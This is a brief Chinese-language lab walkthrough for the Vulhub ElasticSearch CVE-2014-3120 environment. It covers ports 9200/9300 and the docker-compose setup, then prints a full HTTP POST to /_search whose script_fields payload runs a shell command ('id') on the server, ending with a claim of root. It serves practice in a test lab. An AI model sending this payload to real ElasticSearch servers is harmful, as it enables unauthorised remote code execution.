Vulhub ElasticSearch
Vulhub ElasticSearch
默认情况下,ElasticSearch使用两个端口监听外部TCP流量
9200端口:用于所有通过HTTP协议进行的API调用。包括搜索、聚合、监控以及所有通过HTTP协议进行的API调用。包括搜索、聚合、监控以及
任何使用HTTP协议的请求,所有的客户端都会使用该端口与ElasticSearch
9300端口:是一个自定义的二进制协议,用于集群中各个节点之间的通信。用于诸如集群变更、
主节点选取、节点加入/离开、分片分配等事项。
CVE-2014-3120
一、进入环境
docker-compose bulid
docker-compose up -d
二、访问9200端口
刚开始测试的时候,一直失败,后面发现了应该把这个连接方式改为POST
三、输入payload
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en
User-Agent: ozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
获得root